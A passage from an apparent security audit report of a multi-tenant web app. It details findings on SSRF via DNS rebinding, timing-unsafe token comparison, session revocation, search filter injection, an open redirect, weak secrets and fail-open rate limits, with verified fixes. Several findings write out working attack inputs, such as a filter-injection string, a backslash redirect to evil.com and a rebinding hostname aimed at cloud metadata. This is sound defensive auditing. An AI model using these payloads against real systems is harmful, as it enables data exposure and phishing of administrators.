Replace this entire local fetchWebhookWithRedirects/validateOutboundWebhookUrl block with the shared apps/web/app/utils/outboundHttp.server.ts (fetchOutboundHttpWithRedirects), which performs per-hop DNS resolution and rejects requests whose resolved A/AAAA records fall in private/loopback/link-local/metadata ranges. Do not maintain a forked guard that omits the resolved-address check.
Verifier notes
Traced the full data flow and confirmed the exploit path is open. EntityWebhook.endpoint is stored verbatim from operator form input (webhook-endpoint) in apps/web/app/routes/admin/entities/$entity/webhooks/new.tsx:41-50 and $id.tsx:57-65 with NO URL validation at write time. At delivery time, a row create/update fires createRowLog/createManualRowLog (apps/web/app/utils/db/logs.db.server.ts:210, 246) -> callEntityWebhooks -> fetchLegacyWebhookStatus (entityWebhooks.db.server.ts:123) -> fetchWebhookWithRedirects (:143) -> fetchWithTimeout (:132) -> raw fetch(currentUrl). The only guard, validateOutboundWebhookUrl (:194), calls isBlockedWebhookHostname(url.hostname) (:206) which performs LITERAL-ONLY checks (localhost, IP literals, dotless hosts, internal suffixes). It never resolves DNS. grep for dns.lookup/node:dns/assertOutbound in the legacy file returns no matches. Node's fetch (undici) resolves the hostname itself at connect time, so a benign-looking public hostname (e.g. rebind.attacker.com) that resolves or rebinds to 169.254.169.254 (cloud metadata), 127.0.0.1, or RFC1918 reaches the internal target; the HTTP status is then recorded in entityWebhookLog.status (:109), providing a small response oracle. The redirect chain (resolveOutboundWebhookRedirect :169 -> validateOutboundWebhookUrl) re-validates only the literal hostname, so a 30x redirect to a rebinding host bypasses identically. The hardened canonical sibling packages/foundation/src/outbound-http.ts proves the intended posture: it calls assertOutboundHttpResolvedAddresses (dns.lookup all + verbatim:false) and rejects resolved private/metadata addresses on every hop, and it is already adopted by WorkflowBlockService.ts, apps/worker/src/handlers.ts, and workflow-trigger-native-executor.ts. The legacy entityWebhooks copy is the lone outbound path that forks the guard and omits the resolved-address check.
Existing mitigations: The create/update routes are gated by verifyUserHasPermission(request, "admin.entities.update") and validateCSRFToken, so this is a privileged-operator SSRF, not unauthenticated. validateOutboundWebhookUrl blocks IP literals, localhost, and internal suffixes (and a 5-hop redirect cap + manual-redirect handling exist), but it does NOT resolve DNS, so DNS-rebinding / attacker-controlled-resolution hostnames bypass it entirely. No verify-baseline script governs this file (grep found none referencing entityWebhooks/outboundHttp/SSRF). The resolved-address check that would neutralize this exists only in the unused foundation helper, not on this path.
9. [Low] Non-constant-time comparison of privileged API service token
- Category: Timing Side-Channel / Auth | Verdict: confirmed | Fix effort: trivial | Finder confidence: medium
- Location:
apps/api/src/auth.ts:19-22 - Data flow: Authorization: Bearer (or x-api-key / body.apiKey) -> authenticateServiceRequest / authenticateServiceCredentialRequest -> isValidServiceToken(token, config.apiAccessToken) -> token === configuredToken (JS string equality, early-exit, non-constant-time)
Exploit scenario
The service token (API_ACCESS_TOKEN) grants a service-principal that bypasses all tenant scoping (authorizeApiScope/resolveApiTenantScope short-circuit to allowed for type 'service-token'). The equality check token === configuredToken short-circuits on the first mismatching byte, so its execution time correlates with the length of the matching prefix. A well-positioned attacker (co-located, low-jitter network, or shared host) could in principle recover the token byte-by-byte via statistical timing analysis. Exploitability over the public internet is low due to network jitter, hence Low severity, but the credential is high-value (full cross-tenant service access).
Evidence
export function isValidServiceToken(token: string, configOrToken) {
const configuredToken = typeof configOrToken === "string" ? configOrToken : configOrToken?.apiAccessToken;
return Boolean(configuredToken && token === configuredToken);
}
Recommended fix
Compare using crypto.timingSafeEqual on equal-length buffers (hash both sides with SHA-256 first to normalize length and avoid leaking length): e.g. timingSafeEqual(sha256(token), sha256(configuredToken)) guarded by configuredToken presence. This matches the constant-time pattern already used for magic-link signatures, CSRF tokens, and recovery codes elsewhere in the codebase.
Verifier notes
Independently verified all three claims. (1) Sink is real: apps/api/src/auth.ts:21 return Boolean(configuredToken && token === configuredToken) uses JS === string equality, which short-circuits on the first mismatching byte (non-constant-time). (2) Attacker input reaches it unauthenticated: it is called from authenticateServiceRequest (auth.ts:33), authenticateServiceCredentialRequest (routes/shared.ts:248), and — critically — the PUBLIC endpoint POST /v1/api-keys/validate (routes/auth-routes.ts:165 and :174), which feeds the attacker-controlled Authorization: Bearer header / x-api-key / body.apiKey straight into isValidServiceToken and returns a distinct success envelope ({active:true,keyType:'service-token'}), giving a directly observable oracle with no prior credential. (3) The credential is high-value: apps/api/src/auth/scope.ts:66-71 (authorizeApiScope) and :108-114 (resolveApiTenantScope) both short-circuit to allowed:true for principal.type==='service-token', bypassing all tenant scoping — full cross-tenant access. No mitigating control exists on this path: no upstream hashing, length normalization, allowlist, or constant-time compare. The codebase otherwise uses crypto.timingSafeEqual for every secret comparison (magic-link, CSRF/session, recovery codes, password reset, webhook signatures, lead/deletion/unsubscribe/invite tokens), and the directly analogous packages/metrics/src/auth.ts validates a bearer service token with timingSafeEqualStrings and explicitly documents 'The comparison is timing-safe.' isValidServiceToken is the sole outlier. The finder's Low severity is appropriate: remote exploitation over the public internet is impractical due to network jitter, but co-located/shared-host/low-jitter attackers are plausible and the credential grants full cross-tenant service access.
Existing mitigations: none found — no hashing, length normalization, allowlist, rate limiting on the comparison, or constant-time guard on the isValidServiceToken path; it is the only secret comparison in the repo using raw === instead of crypto.timingSafeEqual (cf. packages/metrics/src/auth.ts timingSafeEqualStrings).
10. [Low] API session revocation/logout is process-local (in-memory Map) — revoked/refreshed sessions remain valid on other instances and across restarts
- Category: Session Management / Insufficient Session Invalidation | Verdict: confirmed | Fix effort: moderate | Finder confidence: medium
- Location:
apps/api/src/auth/session/session-store.ts:42-121 - Data flow: POST /v1/auth/login -> createApiSession (in-memory Map entry) + jwt.sign({userId,sessionId}, 1h). POST /v1/auth/logout / refresh-token -> revokeApiSession/rotateApiSession mutate the same in-memory Map. The bearer JWT (1h TTL) is the actual credential; getActiveApiSession only consults the local Map.
Exploit scenario
On any multi-instance API deployment (load-balanced, the normal production shape), the session Map is per-process. (1) A user logs out on instance A; their still-unexpired JWT continues to authenticate on instances B/C because those processes never saw the revocation — logout does not invalidate the token until its 1h expiry. (2) A process restart drops all session records, so previously-valid refresh/logout state is lost. The 1h JWT lifetime bounds the window, but a stolen token survives an explicit logout, defeating the purpose of session revocation. Confidence is medium because impact depends on the deployment running more than one API process.
Evidence
export function createApiSessionStore(options = {}) {
const sessions = new Map<string, ApiSessionRecord>();
...
}
export const apiSessionStore = createApiSessionStore();
Recommended fix
Back the API session store with the shared store (Redis) already used for rate limiting (getSharedStore), or with a DB table, so create/revoke/rotate are visible across all instances and survive restarts. Alternatively maintain a shared revocation/denylist keyed by sessionId and consult it on every authenticated request. Keep JWT TTL short as defense-in-depth.
Verifier notes
Independently traced the full flow. apiSessionStore is a process-local in-memory Map: createApiSessionStore() builds const sessions = new Map(...) (session-store.ts:43) and is exported as a module-level singleton apiSessionStore = createApiSessionStore() (line 121). It is consulted in exactly three places, all in apps/api/src/routes/auth-routes.ts: login createApiSession (line 76, jwt.sign userId+sessionId, 1h TTL), refresh-token getActiveApiSession+rotateApiSession (lines 101/111), logout getActiveApiSession+revokeApiSession (lines 142/147). revokeSession/rotateSession only mutate the local Map (session-store.ts:77-105). No global JWT/session auth middleware exists in app.ts (lines 79/89 are only security headers and CORS; the only app.use guards are metrics/request-id/audit/body-limit/maintenance). I verified every other route family (accounts, entity-row, relationship, workspace, maintenance) authenticates via authenticateServiceCredentialRequest (routes/shared.ts:239) which accepts only a static service token or a stored API key — NOT the user JWT. So the finder's claim that revocation is process-local is correct and reachable: a logout on instance A never propagates to instances B/C (separate Maps), and a process restart clears all records. The concrete open exploit: a stolen or post-logout JWT can hit POST /v1/auth/refresh-token on any instance that didn't observe the revoke; getActiveApiSession there consults only that process's Map, so it returns active and rotateApiSession mints a fresh 1h token — repeatable, defeating explicit logout indefinitely. I refine the finder's impact: the user JWT does not authenticate business/data endpoints on ANY instance (those are service-token/API-key gated), so the practical consequence is unreliable session revocation + indefinite re-minting via refresh-token across instances/restarts, not access to tenant data. That keeps it Low but it is a real, reachable defect, not theoretical.
Existing mitigations: Partial mitigations that bound impact but do not neutralize it: (1) JWT TTL is short (1h, auth-routes.ts:77/117), bounding any single token's life, though refresh-token rotation re-arms it. (2) The user JWT session gates only /v1/auth/refresh-token and /v1/auth/logout — no business/data endpoint authenticates via this session (all use authenticateServiceCredentialRequest in routes/shared.ts:239, service token or stored API key), so broken revocation cannot grant tenant-data access. (3) Login rate-limiting exists. No mitigation makes revocation reliable: there is no shared denylist, no DB-backed session, no cross-instance propagation. Notably a shared store (getSharedStore, Redis namespace "api", apps/api/src/shared-store.ts) is already wired for rate-limiting and idempotency and Redis is provisioned in docker-compose.staging.yml — but the session store deliberately uses a raw Map instead.
11. [Low] Meilisearch filter injection via unescaped KB article language in search filter
- Category: Search Filter Injection | Verdict: likely | Fix effort: trivial | Finder confidence: low
- Location:
apps/web/app/modules/knowledgeBase/services/kbArticleSearch.server.ts:85-88 - Data flow: HTTP URL path segment params.lang (routes help/$slug.($lang).categories.$category and docs/($lang).categories.$category) -> KbRoutes.Category.Api.tsx loader (no allowlist validation, unlike KbRoutes.Index.Api.tsx) -> KnowledgeBaseService.search({params}) -> searchKnowledgeBaseArticles({language: params.lang}) -> options.extraFilters =
language = "${input.language}" AND isPublished = true-> searchWithFallback -> buildFilter() concatenates extraFilters verbatim into the Meilisearch filter expression -> handle.search(query, {filter})
Exploit scenario
An attacker hits /help///categories/?q=foo. KbRoutes.Index.Api validates params.lang against KnowledgeBaseUtils.supportedLanguages and returns 404 on mismatch, but KbRoutes.Category.Api and KbRoutes.Article.Api do NOT — they pass params.lang straight through. The language string is interpolated UNESCAPED into the Meilisearch filter (the wrapper only escapes tenantId and rowSearch escapes entityId, but kbArticleSearch does neither). A value like en" OR isPublished = true OR "x would alter the filter's boolean logic / break tenant- or publish-scoping intent. In practice the Category/Article loaders first call getCategory/getArticle which query getKbCategoryBySlug/getArticle with that language and redirect when nothing matches, so a fully arbitrary payload is rejected unless a stored row already carries that exact language — which is why confidence is low. The escaping omission plus inconsistent allowlist validation is nonetheless a latent injection that becomes directly exploitable if any future caller passes an unvalidated language, or if the upstream getCategory gate is relaxed.
Evidence
options: input.language
? { extraFilters: `language = "${input.language}" AND isPublished = true` }
: { extraFilters: "isPublished = true" },
Recommended fix
Escape the language value before interpolation using the same escapeFilterValue helper that rowSearch.server.ts uses (replace backslash and double-quote), or build the filter as a structured array passed to the Meilisearch client rather than a raw string. Additionally, apply the supportedLanguages allowlist check (already present in KbRoutes.Index.Api.tsx) consistently in KbRoutes.Category.Api.tsx and KbRoutes.Article.Api.tsx so an invalid lang returns 404 before reaching the search filter.
Verifier notes
The sink is real: kbArticleSearch.server.ts:85-88 interpolates input.language verbatim into extraFilters, and packages/search/src/query.ts buildFilter() (lines 149-158) escapes only tenantId via escapeFilterValue, concatenating extraFilters raw into the Meilisearch filter. The allowlist inconsistency is also real: KbRoutes.Index.Api.tsx:24-26 validates params.lang against KnowledgeBaseUtils.supportedLanguages (only "de"/"en") and returns 404, but KbRoutes.Category.Api.tsx and KbRoutes.Article.Api.tsx pass params.lang straight to KnowledgeBaseService.search (service line 547: language: params.lang || kb.defaultLanguage) with no such check.
However reachability is heavily gated. Both public loaders first call getCategory/getArticle, which query getKbCategoryBySlug / getKbArticleBySlug using Prisma EXACT-equality on language (kbCategories.db.server.ts:104-108, kbArticles.db.server.ts:369-373). If no stored row has language === params.lang the loader redirects (Category) or returns null (Article) BEFORE search runs. So an arbitrary one-shot payload from an anonymous user is rejected. To reach the sink a stored category/article row must carry the exact malicious language string. The admin create routes write language: params.lang! with no allowlist validation (categories.$lang/new.tsx:72, articles.$lang.tsx:91) — note the settings route DOES validate (settings.tsx:125-128), confirming the create routes are the gap. So a user holding admin.kb.create (verifyUserHasPermission, CSRF-protected) could persist a malicious language value, then trigger the public Category/Article loader with the same lang segment to fire the injection.
Impact ceiling is low. buildFilter yields tenantId = "<escaped>" AND (<injected>); the tenantId equality is a top-level AND outside the injectable parenthesized group, so injection cannot bypass tenant scoping — no cross-tenant leak. Worst case is broadening results within the attacker's own tenant (e.g. en" OR isPublished = true OR "x surfacing own unpublished articles), and results are then re-fetched from SQL via findKnowledgeBaseArticlesByIds scoped by the same knowledgeBaseSlug + language, further limiting leakage. This is a genuine latent injection / defense-in-depth gap, not a high-impact exploit; it requires admin write privilege to plant the payload and cannot cross tenants.
Existing mitigations: tenantId is escaped and ANDed at the top level outside the injectable group (buildFilter, packages/search/src/query.ts:149-158), so the injection cannot bypass tenant isolation. Public loaders gate on getCategory/getArticle which use Prisma exact-equality on language (getKbCategoryBySlug / getKbArticleBySlug), so a non-stored arbitrary language is rejected before the sink. Final results are re-resolved from SQL scoped by knowledgeBaseSlug+language. The settings write route validates language against supportedLanguages. To plant a malicious language a caller needs admin.kb.create permission (verifyUserHasPermission) plus CSRF token. No escaping or allowlist mitigates the create routes (categories.$lang/new.tsx:72, articles.$lang.tsx:91) or the language interpolation itself — those are the open gaps.
12. [Low] Open redirect via backslash in admin SSO returnTo (sanitizeReturnTo allows '/\evil.com')
- Category: Open Redirect | Verdict: confirmed | Fix effort: trivial | Finder confidence: medium
- Location:
apps/web/app/routes/auth.admin.callback.tsx:41-46 (also identical sanitizeReturnTo in apps/web/app/routes/auth.admin.login.tsx:14-22) - Data flow: Attacker crafts /auth/admin/login?returnTo=/\evil.com -> sanitizeReturnTo accepts it (starts with '/', not '//', no control chars; backslash not rejected) -> persisted in signed SSO challenge cookie -> on callback, redirect Location is set to '/\evil.com' -> some browsers normalize '/' to '//' and navigate off-origin
Exploit scenario
An admin is sent a crafted SSO login link with returnTo=/\attacker.example. After completing Authentik SSO, the browser is redirected to /\attacker.example which several browsers treat as a protocol-relative URL to the attacker's site, enabling phishing of the freshly-authenticated admin. Impact is limited to the privileged admin SSO flow and depends on browser URL normalization.
Evidence
function sanitizeReturnTo(value: string | undefined): string | undefined {
if (!value) return undefined;
if (!value.startsWith("/") || value.startsWith("//")) return undefined;
if (/[\x00-\x1f]/.test(value)) return undefined;
return value;
} // does not reject backslashes; compare the robust safeRedirectPath() which blocks '\\'
Recommended fix
Reuse the hardened safeRedirectPath() from utils/app/RedirectSafety.server.ts (it rejects backslashes, encoded slashes/CRLF, and protocol-relative) for both admin SSO returnTo functions instead of the weaker local sanitizeReturnTo.
Verifier notes
I traced the full data flow and it is open end-to-end. (1) apps/web/app/routes/auth.admin.login.tsx:14-22 reads returnTo from the query string and passes it through sanitizeReturnTo, which accepts "/\evil.com": it starts with "/", does not start with "//", and contains no \x00-\x1f control chars; the backslash is never checked. (2) The value is persisted verbatim into the HMAC-signed challenge cookie via createAdminSsoChallenge({ returnTo }) (state.server.ts:97). (3) On callback, auth.admin.callback.tsx:148 re-runs the same weak sanitizeReturnTo (lines 41-46) on challenge.returnTo, again returning "/\evil.com", then line 150/158 sets redirectTarget = returnTo and passes it to createUserSession. (4) createUserSession (session.server.ts:195-213) calls redirect(redirectTo, ...) which sets the Location header to the value verbatim. No normalization occurs between sanitize and the header: entry.server.tsx handleRequest only handles document renders, not loader redirect responses, so the 302 Location: /\evil.com reaches the browser unmodified. Routes are registered (flat-routes via createRoutesFromFolders in routes.ts; /auth/admin/login and /auth/admin/callback are not in the ignore list). The contrast guard safeRedirectPath() in utils/app/RedirectSafety.server.ts:12-21 explicitly rejects trimmed.includes("\") (and encoded %5c/%2f/CRLF), proving the team has a hardened helper the SSO flow fails to use. The existing test auth.admin.callback.test.ts:154-183 demonstrates the team intends this surface to block open redirects (it asserts an absolute https URL is dropped to the fallback), but no test covers the backslash case, so it is a genuine coverage gap, not intended behavior. Per WHATWG URL parsing for special schemes, browsers (Chromium, Firefox) treat backslashes as forward slashes, so a Location of /\evil.com resolves to //evil.com -> https://evil.com, navigating the freshly-authenticated admin off-origin. Confidence is high that the path is open; the only browser-dependent element is the final normalization, which is well-documented behavior. Not a test/mock/dead-code path — this is the live privileged admin SSO loader.
Existing mitigations: None found. The two sanitizeReturnTo functions are the only validation, and neither rejects backslashes or percent-encoded slashes. The signed challenge cookie protects integrity of the value in transit but the attacker legitimately supplies returnTo via the login URL query param, so the signature does not help. No global Location-header normalization exists in entry.server.tsx or session.server.ts. The hardened safeRedirectPath() exists in the repo but is NOT used by either admin SSO route.
13. [Low] SESSION_SECRET / CRYPTO_SECRET have no minimum-length or entropy validation at boot
- Category: Weak Crypto / Config Hardening | Verdict: confirmed | Fix effort: trivial | Finder confidence: medium
- Location:
packages/config/src/web.ts:83, 150, 325 - Data flow: env.SESSION_SECRET -> present(value) (only trims and rejects empty string) -> webConfig.sessionSecret -> createCookieSessionStorage({ secrets: [sessionSecret] }) in apps/web/app/utils/session.server.ts:132; CRYPTO_SECRET -> SHA-256 -> AES-256-GCM key in CryptoApi.ts
Exploit scenario
The env catalog enforces that SESSION_SECRET/CRYPTO_SECRET are present in production, but present() accepts ANY non-empty string. An operator could set SESSION_SECRET=changeme (8 weak chars) or reuse a value across SESSION_SECRET and CRYPTO_SECRET. A weak/short session secret reduces the work to brute-force/forge signed session cookies; reusing the same value for both session signing and at-rest credential encryption couples two trust domains. Note: the dedicated token helpers (lead/deletion/unsubscribe) already enforce a 32-byte minimum and throw — but the two most security-critical core secrets do not.
Evidence
sessionSecret: present(env.SESSION_SECRET),
...
cryptoSecret: present(env.CRYPTO_SECRET),
...
function present(value: string | undefined): string | undefined { /* only trims/empties */ }
Recommended fix
Add a minimum-length (>=32 chars) and distinctness check for SESSION_SECRET, CRYPTO_SECRET, JWT_SECRET, API_ACCESS_TOKEN in validateEnv/loadWebConfig for production, surfacing them as boot diagnostics (the helpers already do this for LEAD_CONVERSION_SECRET et al, so mirror that pattern). Also warn/fail if SESSION_SECRET === CRYPTO_SECRET.
Verifier notes
I independently verified every link in the claimed chain. (1) packages/config/src/web.ts:83 and :150 use present(env.SESSION_SECRET) / present(env.CRYPTO_SECRET); present() (lines 325-328) only trims and rejects empty strings — no length/entropy check. (2) The only other validation, validateEnv (index.ts:131-148), checks presence only (!input[name]); secret-validator.ts validateRequiredSecretString likewise checks presence only. (3) Sink 1 confirmed: apps/web/app/utils/session.server.ts:132 passes webConfig.sessionSecret straight into createCookieSessionStorage({ secrets: [...] }), so a weak secret weakens signed-cookie HMAC resistance. (4) Sink 2 confirmed: CryptoApi.ts:6-12 reads CRYPTO_SECRET directly from process.env, runs SHA-256 over it, and uses the digest as the AES-256-GCM key for stored workflow credentials — a low-entropy passphrase yields a brute-forceable at-rest key. (5) The finder's central claim — that the secondary token helpers DO enforce a minimum while the core secrets do not — is accurate: leadToken.server.ts:63-75 enforces MIN_SECRET_BYTES=32 (fail-closed) and dsgvo/deletionToken.server.ts:64-68 enforces MIN_SECRET_LENGTH=32, while SESSION_SECRET/CRYPTO_SECRET/JWT_SECRET/API_ACCESS_TOKEN (all requiredInProduction:true, kind secret/token in catalog.ts) get no such gate. No distinctness check exists either, so SESSION_SECRET === CRYPTO_SECRET passes silently, coupling the cookie-signing and credential-encryption trust domains. This is a genuine, accurately-described config-hardening gap. It is NOT directly attacker-triggerable over HTTP — exploitation requires an operator to set a weak/short secret or reuse one value across both — so it is correctly rated Low (defense-in-depth), matching the finder's claim.
Existing mitigations: None found that addresses secret strength. validateEnv and present() enforce presence only. secret-validator.ts validateRequiredSecretString enforces presence only. scripts/verify-secrets.mjs is a source-tree hardcoded-secret scanner (regex over committed files), not a runtime/boot env-strength validator. No catalog minLength field, no boot diagnostic, and no verify script (checked verify-deploy-readiness.mjs, check-env-drift.mjs, verify-secrets.mjs) enforces a minimum length or distinctness on SESSION_SECRET/CRYPTO_SECRET/JWT_SECRET/API_ACCESS_TOKEN. The 32-byte minimums in leadToken.server.ts and deletionToken.server.ts apply only to LEAD_CONVERSION_SECRET/deletion secrets, not the core secrets.
14. [Low] docker-compose ships a known default Meilisearch master key (devkey)
- Category: Hardcoded Secret / Insecure Default | Verdict: confirmed | Fix effort: trivial | Finder confidence: medium
- Location:
docker-compose.yml:182 - Data flow: docker-compose env MEILI_MASTER_KEY=${MEILI_MASTER_KEY:-devkey} -> meilisearch container; web reads process.env.MEILI_MASTER_KEY ?? undefined (crmContactSearch/rowSearch/kbArticleSearch .server.ts) to authenticate to the search engine
Exploit scenario
If an operator runs this compose file (or copies its pattern) without overriding MEILI_MASTER_KEY, Meilisearch boots with the publicly-known key devkey. Anyone who can reach port 7700 (mapped to the host as 7700:7700) can use the known master key to read/modify all tenant search indexes, which contain CRM contacts, rows, and knowledge-base content across tenants. The file documents this is dev-only and the .env.example mirrors devkey, so the failure mode is purely operator-misconfiguration, but the host port mapping makes an accidental exposure reachable. .env.example also ships MEILI_MASTER_KEY=devkey as the literal default.
Evidence
- MEILI_MASTER_KEY=${MEILI_MASTER_KEY:-devkey}
...
ports:
- "7700:7700"
Recommended fix
Do not bind 7700 to the host in the base compose (use an internal network like pgbouncer does), and either require MEILI_MASTER_KEY with no default (fail to start if unset) or generate a random key. At minimum add a production guard that refuses to start search if MEILI_MASTER_KEY==="devkey" while NODE_ENV!=development.
Verifier notes
The reported facts check out exactly. docker-compose.yml:182 sets MEILI_MASTER_KEY=${MEILI_MASTER_KEY:-devkey} and lines 185-186 map "7700:7700" to the host (binds 0.0.0.0 by default). The web search services authenticate using this key: apps/web/app/modules/crm/services/crmContactSearch.server.ts:34, apps/web/app/modules/rows/services/rowSearch.server.ts:33, and apps/web/app/modules/knowledgeBase/services/kbArticleSearch.server.ts:34 all call createSearchClient({ url, apiKey: process.env.MEILI_MASTER_KEY ?? undefined }). packages/search/src/client.ts passes apiKey straight to new MeiliSearch(...), so devkey is the live auth credential. The Meilisearch master key is the sole auth boundary (docs/deploy/meilisearch.md:16: "if the port is open, the index is open"), and MEILI_ENV defaults to development (line 183) which also leaves the unauthenticated dashboard enabled.
I actively hunted for a mitigating guard and found NONE that neutralizes this. packages/config/src/secret-validator.ts only validates presence/URL-shape; MEILI_MASTER_KEY is classified optional-provider (catalog.ts:1931) and flows through validateOptionalSecretString with zero value-content check — it never rejects devkey. scripts/verify-secrets.mjs is a secret-SHAPE scanner: it skips any line containing ${...} (line 96), so the compose line is never examined, and devkey is a 6-char low-entropy string matching none of its high-entropy/prefix patterns; .env.example is allowlisted regardless. So no runtime startup guard and no CI gate refuses the dev key.
The one real counterweight is the production deployment guidance (docs/deploy/meilisearch.md) and the staging compose: the Coolify/Scaleway/Fly snippets correctly use MEILI_MASTER_KEY=${MEILI_MASTER_KEY} (no default, fail-if-unset), set MEILI_ENV=production, and deliberately do NOT map 7700 to the host (internal backend network only). docker-compose.staging.yml ships no Meilisearch service at all. So the canonical production path is hardened, and the base file is documented as dev-only. The vulnerability is therefore an operator-misconfiguration / insecure-default + unnecessary host-port-binding combination, not an unconditional break — which matches the finder's own Low rating. It is still a legitimate hardening gap: the base compose contradicts its own pgbouncer precedent (pgbouncer:17-18 deliberately omits ports: "Public-facing 6432 would expose the pool to the open internet"), yet Meilisearch — holding cross-tenant CRM/rows/KB content behind a single known key — is bound to 0.0.0.0:7700.
Existing mitigations: Partial, doc-level only: docs/deploy/meilisearch.md and the Coolify/Scaleway/Fly snippets give a hardened production recipe (no default key, MEILI_ENV=production, no host port, internal network) and explicitly warn never to expose 7700. docker-compose.staging.yml omits Meilisearch entirely. These prevent the issue on the documented production path but are advisory — nothing in code or CI enforces them. No runtime guard (secret-validator.ts ignores value content) and no CI gate (verify-secrets.mjs skips ${...} lines and low-entropy strings) rejects MEILI_MASTER_KEY=devkey.
15. [Low] API_KEY_LEGACY_PLAINTEXT_FALLBACK defaults to true in base .env.example
- Category: Insecure Default / Config Exposure | Verdict: confirmed | Fix effort: trivial | Finder confidence: medium
- Location:
.env.example:42 - Data flow: env.API_KEY_LEGACY_PLAINTEXT_FALLBACK -> packages/config/src/api.ts:90 parseBooleanFlag(..., false) -> findLegacyApiKeyByKey options.allowPlaintextFallback -> when true, falls back to a plaintext
keycolumn equality lookup if the hashed lookup misses
Exploit scenario
The base .env.example ships API_KEY_LEGACY_PLAINTEXT_FALLBACK=true (the production example correctly sets it to false). An operator who copies .env.example to bootstrap a deployment keeps the plaintext-comparison fallback enabled, meaning API keys are matched by a direct DB equality on a plaintext column rather than only by the keyed hash — defeating the hardening that the keyHash migration introduced and re-exposing keys to DB-read/SQL-injection compromise. The default in the parser is safe (false), but the documented example template biases operators toward the insecure setting.
Evidence
# Temporary cutover switch for plaintext API-key lookup. Keep `true` during the hash-metadata
# backfill window, then set `false` once the backfill is verified...
API_KEY_LEGACY_PLAINTEXT_FALLBACK=true
Recommended fix
Flip the base .env.example default to false (matching .env.production.example) and keep the true value only as a commented note for the one-time backfill window, so a fresh copy of the template is secure-by-default.
Verifier notes
I independently verified every link in the claimed chain. (1) .env.example:42 literally ships API_KEY_LEGACY_PLAINTEXT_FALLBACK=true, while .env.production.example:19 ships =false — the discrepancy is real. (2) packages/config/src/api.ts:90 parses it with parseBooleanFlag(env.API_KEY_LEGACY_PLAINTEXT_FALLBACK, false) and exposes it as config.apiKeys.allowLegacyPlaintextFallback; there is NO production-side override (loadApiConfig uses the env value as-is regardless of NODE_ENV). (3) The flag flows into findLegacyApiKeyByKey(..., { allowPlaintextFallback }) from real, unauthenticated-reachable API key auth paths: apps/api/src/routes/shared.ts:258, apps/api/src/routes/auth-routes.ts:178, apps/api/src/usage/usage-route.ts:29, and apps/web/app/utils/services/apiService.ts:94. (4) The sink at packages/db/src/api-keys.server.ts:776-788 confirms the dangerous behavior: when allowPlaintextFallback is true and the keyed-hash lookup misses, it performs a direct plaintext-column equality client.apiKey.findFirst({ where: { key } }), defeating the keyHash hardening. So an operator who bootstraps from the base template keeps the plaintext-comparison fallback enabled, re-exposing keys to DB-read/SQLi compromise. This is a genuine secure-by-default-template defect, not a grep artifact. It is correctly scoped Low: the parser default is safe when the var is absent, the production template (the one operators are directed to for prod) is correct, the inline comment documents it as a temporary cutover switch, and re-exposure of keys requires a secondary DB-read/SQLi compromise rather than being directly leakable.
Existing mitigations: Partial mitigations exist but none neutralize the template-default smell: (a) parseBooleanFlag defaults to false when the variable is absent (api.ts:90,101-116); (b) .env.production.example:19 correctly ships false and the catalog marks it production-only with defaultValue "false" (catalog.ts:136-144); (c) an inline comment at .env.example:39-41 warns it is a temporary backfill-window switch. However, the base .env.example still ships the explicit =true, there is no runtime NODE_ENV guard forcing it off in production, and exploitation of the resulting plaintext lookup additionally requires DB-read or SQL-injection access.
16. [Low] Public anti-spam rate limiters fail-open on shared-store (Redis) errors, allowing lead/form-submission flooding
- Category: Rate Limiting / Abuse | Verdict: confirmed | Fix effort: trivial | Finder confidence: medium
- Location:
apps/web/app/routes/api.leads.capture.tsx:203-209 (also api.embed.forms.$formKey.submit.tsx:274-278) - Data flow: attacker HTTP POST -> getSharedStore() throws/blips -> catch block logs and continues -> captureLead()/formSubmission.create() persists unbounded rows
Exploit scenario
Both unauthenticated public write endpoints wrap their sliding-window rate-limit checks in try/catch and explicitly 'fail-open' on infra error, continuing to persist. An attacker who can degrade the shared store (or simply submit during a Redis outage) can bypass the 5/min-per-IP and 10/min-per-IP caps entirely and flood LeadEvent / FormSubmission tables and the form.submission.process outbox, causing DB bloat and downstream worker/CRM/webhook fan-out load. The Origin allowlist in front is acknowledged in-code as spoofable by non-browser clients, so it does not compensate.
Evidence
} catch (err) {
// Fail-open on infra error — better than dropping legitimate captures.
log.warn({ op: "rate-limit.error", ... }, "Rate-limit check failed; continuing");
}
Recommended fix
For unauthenticated public write endpoints, fail-closed (return 429/503) when the rate-limit store is unavailable, mirroring the production fail-closed branch already used by api.tenants.$tenant.plugins.tsx (shouldFailClosedOnRateLimitInfraFailure). At minimum gate fail-open behind NODE_ENV !== 'production'.
Verifier notes
I read both cited files end-to-end and traced the data flow. Both /api/leads/capture (apps/web/app/routes/api.leads.capture.tsx:177-209) and /api/embed/forms/:formKey/submit (api.embed.forms.$formKey.submit.tsx:248-278) are public, unauthenticated POST endpoints (no requireAuth/tenant guard — by design). They wrap the sliding-window rate-limit check (store.adapter.eval -> Redis) in try/catch and explicitly fail-open: on any error from getSharedStore()/limiter.consume() the catch only logs a warn and execution falls through to the persistence sink. captureLead.server.ts:57-131 then inserts unbounded Lead/LeadEvent rows; the embed route does formSubmission.create() + publishOutboxEvent (form.submission.process) inside a transaction (lines 322-357), which fans out to the worker/CRM/webhooks. With REDIS_URL set (production), getSharedStore() builds a RedisAdapter (factory.ts:149-156); a Redis outage/degradation makes eval() throw, so the 5/min and 10/min per-IP caps (and the per-email cap) are fully bypassed during the window of failure. Routes are reachable: routes.ts uses createRoutesFromFolders folder-convention, the files are not in defaultDisabledPluginRouteFilePatterns, and both handlers appear in the compiled server build. I actively checked the other listed guards and none neutralize a scripted attacker: Origin allowlist relies on the attacker-controlled Origin header (spoofable by non-browser clients, acknowledged in-code); the honeypot is simply omitted by a script; Turnstile is feature-flag-gated AND requires TURNSTILE_SECRET_KEY/cfg.turnstileEnabled, off by default. Strong corroboration: the sibling authenticated endpoint api.tenants.$tenant.plugins.tsx:79-81 defines shouldFailClosedOnRateLimitInfraFailure() (NODE_ENV === 'production') and its comment (lines 72-75) states this matches the api.leads.capture / api.embed pattern but that production fails closed for plugin writes — i.e. the authors recognized the fail-open risk and gated it for the admin endpoint but NOT for these two public write endpoints. The exploit path is open; it is conditioned on the shared store being unavailable, so it is an abuse/availability bypass rather than a normal-operation bypass.
